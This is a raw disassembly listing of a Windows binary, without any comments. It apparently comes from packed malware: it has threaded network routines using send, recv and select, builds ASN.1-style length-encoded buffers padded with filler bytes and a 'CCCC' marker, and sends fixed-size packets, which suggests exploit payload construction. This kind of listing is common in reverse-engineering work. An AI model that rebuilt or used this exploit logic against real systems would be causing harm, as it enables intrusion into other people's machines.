		push	offset dword_434C28
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_441048
		push	eax
		call	sub_41BC60
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C773
		push	edi
		push	edi
		call	dword_428084	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C9CB
		jmp	short loc_40C9C6
; ---------------------------------------------------------------------------


loc_40C9C2:				; CODE XREF: sub_40C931+98j
		push	32h
		call	esi	; Sleep


loc_40C9C6:				; CODE XREF: sub_40C931+8Fj
		cmp	[ebp+var_8], edi
		jz	short loc_40C9C2


loc_40C9CB:				; CODE XREF: sub_40C931+8Dj
		push	[ebp+arg_0]
		call	dword_428070	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C9F2
		inc	[ebp+var_2C]
		jmp	loc_40C95F
; ---------------------------------------------------------------------------


loc_40C9F2:				; CODE XREF: sub_40C931+B7j
		push	[ebp+var_1C]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset dword_434BD8
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409743
		push	[ebp+var_20]
		call	sub_40B56A
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C931	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA3E	proc near		; CODE XREF: sub_40CCAA+Ep
					; sub_40CCAA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CA3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA48	proc near		; CODE XREF: sub_40CCAA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_41BB45
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CA7A
		push	ebx
		push	0
		push	edi
		call	sub_41BC00
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	near ptr sub_41C9B0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CA7A:				; CODE XREF: sub_40CA48+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CA48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA82	proc near		; CODE XREF: sub_40CB74+18p
					; sub_40CBEE+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CACE
		push	edi
		push	0
		push	esi
		call	sub_41BC00
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	near ptr sub_41C9B0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CACE:				; CODE XREF: sub_40CA82+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CA82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CAD7	proc near		; CODE XREF: sub_40CB74+5Ep
					; sub_40CB74+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CAE7
		push	eax
		call	sub_41B721
		pop	ecx


loc_40CAE7:				; CODE XREF: sub_40CAD7+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CAD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CAF0	proc near		; CODE XREF: sub_40CB74+20p
					; sub_40CC4F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CB1A
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_41BB45
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CB1E


loc_40CB1A:				; CODE XREF: sub_40CAF0+Dj
		xor	al, al
		jmp	short loc_40CB70
; ---------------------------------------------------------------------------


loc_40CB1E:				; CODE XREF: sub_40CAF0+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_41BC00
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CB3E
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40CB53
; ---------------------------------------------------------------------------


loc_40CB3E:				; CODE XREF: sub_40CAF0+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40CB53:				; CODE XREF: sub_40CAF0+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B721
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CB70:				; CODE XREF: sub_40CAF0+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CAF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB74	proc near		; CODE XREF: sub_40CCAA+89p
					; sub_40CCAA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CE1C0
		call	sub_40CA82
		lea	ecx, [ebp+var_8]
		call	sub_40CAF0
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BB45
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CBAE
		xor	al, al
		jmp	short loc_40CBEA
; ---------------------------------------------------------------------------


loc_40CBAE:				; CODE XREF: sub_40CB74+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BC00
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CAD7
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CAD7
		mov	al, 1


loc_40CBEA:				; CODE XREF: sub_40CB74+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CB74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBEE	proc near		; CODE XREF: sub_40CC22+14p
					; sub_40CC3F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CA82
		mov	ecx, esi
		call	sub_40CAD7
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CBEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC22	proc near		; CODE XREF: sub_40CCAA+F0p
					; sub_40CCAA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B650
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CBEE
		pop	esi
		retn	4
sub_40CC22	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC3F	proc near		; CODE XREF: sub_40CC8B+Bp
					; sub_40CCAA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CBEE
		retn	8
sub_40CC3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC4F	proc near		; CODE XREF: sub_40CC8B+16p
					; sub_40CCAA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CAF0
		test	al, al
		jz	short loc_40CC88
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42F47C
		call	sub_40CA82
		mov	ecx, esi
		call	sub_40CAD7
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CC88:				; CODE XREF: sub_40CC4F+Fj
		pop	esi
		leave
		retn
sub_40CC4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC8B	proc near		; CODE XREF: sub_40CCAA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CC3F
		test	al, al
		jz	short loc_40CCA6
		mov	ecx, esi
		call	sub_40CC4F


loc_40CCA6:				; CODE XREF: sub_40CC8B+12j
		pop	esi
		retn	8
sub_40CC8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCAA	proc near		; CODE XREF: .XPack0:0040D523p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CA3E
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CFEE
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CFEE
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CA3E
		lea	ecx, [ebp+var_20]
		call	sub_40CA3E
		lea	ecx, [ebp+var_50]
		call	sub_40CA3E
		lea	ecx, [ebp+var_18]
		call	sub_40CA3E
		lea	ecx, [ebp+var_40]
		call	sub_40CA3E
		lea	ecx, [ebp+var_38]
		call	sub_40CA3E
		lea	ecx, [ebp+var_28]
		call	sub_40CA3E
		push	4
		push	offset dword_434C94
		lea	ecx, [ebp+var_30]
		call	sub_40CBEE
		push	3
		push	offset dword_434C9C
		lea	ecx, [ebp+var_30]
		call	sub_40CBEE
		lea	ecx, [ebp+var_30]
		call	sub_40CB74
		lea	ecx, [ebp+var_30]
		call	sub_40CC4F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_434C88
		call	sub_40CBEE
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CBEE
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CBEE
		lea	ecx, [ebp+var_20]
		call	sub_40CB74
		push	offset loc_435024
		lea	ecx, [ebp+var_50]
		call	sub_40CC22
		lea	ecx, [ebp+var_50]
		call	sub_40CB74
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CA48
		lea	ecx, [ebp+var_58]
		call	sub_40CB74
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CC8B
		lea	ecx, [ebp+var_58]
		call	sub_40CAD7
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CC22
		push	4
		push	offset dword_434CA0
		lea	ecx, [ebp+var_18]
		call	sub_40CBEE
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CBEE
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CBEE
		lea	ecx, [ebp+var_18]
		call	sub_40CB74
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CC3F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CC3F
		lea	ecx, [ebp+var_40]
		call	sub_40CC4F
		lea	ecx, [ebp+var_18]
		call	sub_40CAD7
		lea	ecx, [ebp+var_50]
		call	sub_40CAD7
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CC3F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CC3F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CC3F
		lea	ecx, [ebp+var_38]
		call	sub_40CC4F
		lea	ecx, [ebp+var_20]
		call	sub_40CAD7
		lea	ecx, [ebp+var_30]
		call	sub_40CAD7
		lea	ecx, [ebp+var_40]
		call	sub_40CAD7
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CBEE
		lea	ecx, [ebp+var_28]
		call	sub_40CB74
		push	2
		push	offset dword_435018
		lea	ecx, [ebp+var_28]
		call	sub_40CBEE
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CC3F
		lea	ecx, [ebp+var_28]
		call	sub_40CC4F
		lea	ecx, [ebp+var_38]
		call	sub_40CAD7
		lea	ecx, [ebp+var_10]
		call	sub_40CA3E
		lea	ecx, [ebp+var_8]
		call	sub_40CA3E
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CC3F
		lea	ecx, [ebp+var_10]
		call	sub_40CAF0
		lea	ecx, [ebp+var_28]
		call	sub_40CAD7
		push	offset dword_435014
		lea	ecx, [ebp+var_8]
		call	sub_40CC22
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CC3F
		lea	ecx, [ebp+var_8]
		call	sub_40CAF0
		lea	ecx, [ebp+var_10]
		call	sub_40CAD7
		push	offset dword_435010
		lea	ecx, [ebp+var_10]
		call	sub_40CC22
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CC3F
		lea	ecx, [ebp+var_10]
		call	sub_40CAF0
		lea	ecx, [ebp+var_8]
		call	sub_40CAD7
		push	offset dword_435004
		lea	ecx, [ebp+var_8]
		call	sub_40CC22
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CC3F
		lea	ecx, [ebp+var_8]
		call	sub_40CAF0
		lea	ecx, [ebp+var_10]
		call	sub_40CAD7
		push	(offset	loc_434FFF+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CC22
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CC3F
		lea	ecx, [ebp+var_8]
		call	sub_40CAD7
		pop	esi


loc_40CFEE:				; CODE XREF: sub_40CCAA+1Bj
					; sub_40CCAA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D000	proc near		; CODE XREF: sub_40D0C4+A2p
					; sub_40D0C4+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_428224	; select
		cmp	eax, edi
		jnz	short loc_40D067
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426E00	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40D06B


loc_40D067:				; CODE XREF: sub_40D000+54j
		xor	eax, eax
		jmp	short loc_40D07B
; ---------------------------------------------------------------------------


loc_40D06B:				; CODE XREF: sub_40D000+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CE320	; recv


loc_40D07B:				; CODE XREF: sub_40D000+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D07F	proc near		; CODE XREF: sub_40D0C4+80p
					; sub_40D0C4+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CE304	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	eax, 4
		jz	short loc_40D0A9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D0A9:				; CODE XREF: sub_40D07F+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D07F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0C4	proc near		; CODE XREF: sub_40D1A3+48p
					; .XPack0:0040D614p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D0ED
		xor	al, al
		jmp	loc_40D19E
; ---------------------------------------------------------------------------


loc_40D0ED:				; CODE XREF: sub_40D0C4+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BC00
		push	2Fh
		push	offset dword_434D30
		push	esi
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_434D60
		push	eax
		mov	[esi+2Fh], di
		call	near ptr sub_41C9B0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	near ptr sub_41C9B0
		push	6
		add	ebx, edi
		push	offset dword_4D1008
		push	ebx
		call	near ptr sub_41C9B0
		push	85h
		push	offset dword_434CA8
		push	[ebp+arg_0]
		call	sub_40D07F
		add	esp, 48h
		test	al, al
		jnz	short loc_40D154


loc_40D150:				; CODE XREF: sub_40D0C4+B8j
		xor	bl, bl
		jmp	short loc_40D195
; ---------------------------------------------------------------------------


loc_40D154:				; CODE XREF: sub_40D0C4+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40D000
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40D07F
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D150
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40D000
		add	esp, 10h
		mov	bl, 1


loc_40D195:				; CODE XREF: sub_40D0C4+8Ej
		push	esi
		call	sub_41B721
		pop	ecx
		mov	al, bl


loc_40D19E:				; CODE XREF: sub_40D0C4+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D0C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1A3	proc near		; CODE XREF: .XPack0:0040D5FAp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_434D70
		push	[ebp+arg_0]
		call	dword_428220	; send
		cmp	eax, 48h
		jnz	short loc_40D1DE
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D000
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D1DE
		cmp	[ebp+var_20], 82h
		jz	short loc_40D1E2


loc_40D1DE:				; CODE XREF: sub_40D1A3+1Bj
					; sub_40D1A3+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1E2:				; CODE XREF: sub_40D1A3+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D0C4
		add	esp, 0Ch
		leave
		retn
sub_40D1A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1F5	proc near		; CODE XREF: sub_40D241+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_428680
		call	sub_41CE04
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_428678
		fstp	[esp+10h+var_10]
		call	sub_41CCE5
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CE04
		inc	eax
		leave
		retn
sub_40D1F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D241	proc near		; CODE XREF: sub_40D3E0+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_42752B
		call	sub_41D2D0
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_40D873
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_40D1F5
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D283
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D7ED


loc_40D283:				; CODE XREF: sub_40D241+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D3A1
		mov	ebx, [ebp+10h]


loc_40D292:				; CODE XREF: sub_40D241+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D29D
		push	3


loc_40D29A:				; CODE XREF: sub_40D241+64j
		pop	ebx
		jmp	short loc_40D2B0
; ---------------------------------------------------------------------------


loc_40D29D:				; CODE XREF: sub_40D241+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D2A7
		push	2
		jmp	short loc_40D29A
; ---------------------------------------------------------------------------


loc_40D2A7:				; CODE XREF: sub_40D241+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D2B0
		xor	ebx, ebx
		inc	ebx


loc_40D2B0:				; CODE XREF: sub_40D241+5Aj
					; sub_40D241+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_428688
		fstp	[esp+40h+var_40]
		call	sub_41CE2B
		pop	ecx
		pop	ecx
		call	sub_41CE04
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D2EF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D2EF:				; CODE XREF: sub_40D241+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D35D
		add	[ebp-18h], eax


loc_40D341:				; CODE XREF: sub_40D241+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_434DC0[eax]
		push	eax
		push	1
		call	sub_40D66E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D341


loc_40D35D:				; CODE XREF: sub_40D241+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D37B
		push	dword ptr [ebp+14h]
		call	sub_41B650
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D6C8
		mov	[ebp-18h], edi


loc_40D37B:				; CODE XREF: sub_40D241+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D395
		sub	esi, [ebp-1Ch]


loc_40D386:				; CODE XREF: sub_40D241+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D66E
		dec	esi
		jnz	short loc_40D386


loc_40D395:				; CODE XREF: sub_40D241+140j
		cmp	[ebp+10h], edi
		ja	loc_40D292
		xor	ebx, ebx
		inc	ebx


loc_40D3A1:				; CODE XREF: sub_40D241+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D873
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_40D720
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D873
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D241	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3E0	proc near		; CODE XREF: .XPack0:0040D5DDp
		mov	eax, offset loc_427548
		call	sub_41D2D0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_4404C4
		lea	eax, [ebp-1Ch]
